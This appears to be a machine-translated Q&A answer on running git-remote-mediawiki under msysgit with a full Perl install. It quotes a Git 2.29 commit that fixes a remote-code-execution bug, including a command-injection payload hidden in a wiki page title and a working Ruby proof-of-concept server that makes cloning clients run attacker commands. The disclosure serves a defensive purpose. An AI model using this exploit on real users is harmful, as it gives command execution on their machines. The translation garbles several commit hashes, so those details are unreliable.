msysgit 提供最小的 perl 库。
我想从 CPAN 下载一些包,所以我需要使用完整的 perl 库。
怎么做?
更具体地说,我想使用git-remote-mediawiki
插件。这就是为什么需要完整安装 perl 库的原因。
首先检查(如本文中),如果修改PERL5LIB
环境变量以引用该脚本就足够了(修改git-cmd.bat
):
set PERL5LIB = c:\path\to\git\contrib
否则,对于外部contrib perl 脚本,例如git-remote-mediawiki
,您可以尝试从 DOS 会话执行它,并安装任何最近的 Perl 发行版。
(如草莓 Perl,正如 mob 在评论中推荐的那样)。
我建议使用git-cmd.bat
(正确设置 gitPATH
和HOME
),首先添加您自己的 perl:
@set PATH=%git_install_root%\bin;%git_install_root%\mingw\bin;%git_install_root%\cmd;%PATH%
# let's add our perl:
@set PATH=path/to/yourPerl;%PATH%
这独立于 msysgit 安装,它依赖于旧的 perl,原因在FAQ中有解释。
原因是我们需要一个 Perl 的 MSys 版本,因为我们没有设法编译 Subversion 模块(这些模块是用 C 编写的,使用普通 Windows 不提供的 POSIX 功能,因此需要 MSys)。
这似乎足以启动脚本,但OP linquize在评论中添加:
我最终编写了一个包装程序
git-remote-mediawiki.exe
来调用外部perl
并且需要在写入 git 之前转换CRLF
为,否则如果收到 git 则会挂起。LF
stdout
CRLF
注意:git-remote-mediawiki
使用 Git 2.29(2020 年第四季度)更加强大,并对 MediaWiki 远程后端进行了一些现代化和修复。
参见提交9A86064,提交878D150,提交4842A11,提交2D6B08A,提交F8AB018,提交1D42B4D,提交2388541,提交4F80BC9 ,COMMIT DDE666EB ,提交9FF2958 ,提交730ECC1,commit 730ECC1,commit 09909.90909.9090850,,并提交 872977b,提交 442f5aa(2020 年 9 月 16 日),作者: Ævar Arnfjörð Bjarmason ( )。
看avar
Simon Legner ( )simon04
提交 96653ce(2020 年 9 月 21 日)。
(由Junio C Hamano 合并 -- gitster
--在提交 5a25615中,2020 年 10 月 4 日)
例如:
remote-mediawiki
: 转换为引用的run_git()
调用报告人:Joern Schneeweisz
签字人:Ævar Arnfjörð Bjarmason
更改那些能够
run_safe()
使用带引号的参数列表调用的调用站点。这修复了Joern Schneeweisz 向 git-security 邮件列表报告的传输助手中的RCE(远程代码执行)错误。
由于 remote-mediawiki 代码的相对晦涩难懂,该问题正在公开。安全问题是我们将通过 Perl 的 "
open -|
" 执行这样的命令,其中$name
直接从api.php
响应中获取。因此,例如 JSON 响应:[...]"title":"`id>/tmp/mw`:Main Page"[..]
将导致调用:
git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"
从这样的代码中,这个补丁正在改变:
run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));
所以我们会执行一个任意命令,并将“
remote.origin.namespaceCache=:notANameSpace
”放在配置中。
有了这个更改,我们引用了所有这些,所以现在我们只需将“remote.origin.namespaceCache=``id>/tmp/x``:notANameSpace
”写入配置,而不执行任何远程命令。关于实现:如“将文件句柄打开到命令中”(另见“安全管道打开”)中所述,这种调用
open()
方式在 Windows 上直到 Perl 5.22 都存在兼容性问题。
然而,Johannes Schindelin 指出,在这种情况下我们不应该担心 Windows,因为(引用他的私人电子邮件):
mediawiki 助手从未作为官方 Git for Windows 版本的一部分发布。它也从未成为官方 MSYS2 软件包的一部分。这意味着想要使用 mediawiki 帮助程序的 Windows 用户必须自己构建 Git,而似乎没有多少用户这样做。
与 Perl v5.22.x 一起发布的最后一个 Git for Windows 版本是 Git for Windows v2.11.1;自 Git for Windows v2.12.0(2017 年 2 月 25 日发布)以来,仅包含更新的 Perl 版本。
所以让我们使用这个
open()
API。
到处搜索表明我们发布的各种其他 Perl 代码,例如 gitweb 等。使用这种调用方式open()
,所以我们不应该有任何兼容性问题。为了进一步的参考和未来的测试,这里是 Joern 提供的有效利用代码:
#!/usr/bin/ruby # git client side RCE via `mediawiki` remote proof of concept # Joern Schneeweisz - GitLab Security Research Team require 'sinatra' set bind: '0.0.0.0' if not ARGV[0] puts "Please provide the shell command to be execucted." exit -1 end cmd = ARGV[0] all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd) revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd) mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd) post '/api.php' do if params[:list] == 'allpages' return all_pages end if params[:prop] == 'revisions' return revs end return mainpage end
哪一个:
[...]
应该像这样运行:ruby wiki.rb 'id>/tmp/mw'
.
现在,当被克隆时,将在克隆过程中创建git clone mediawiki::http://localhost:4567
文件/tmp/mw
,其中包含id
.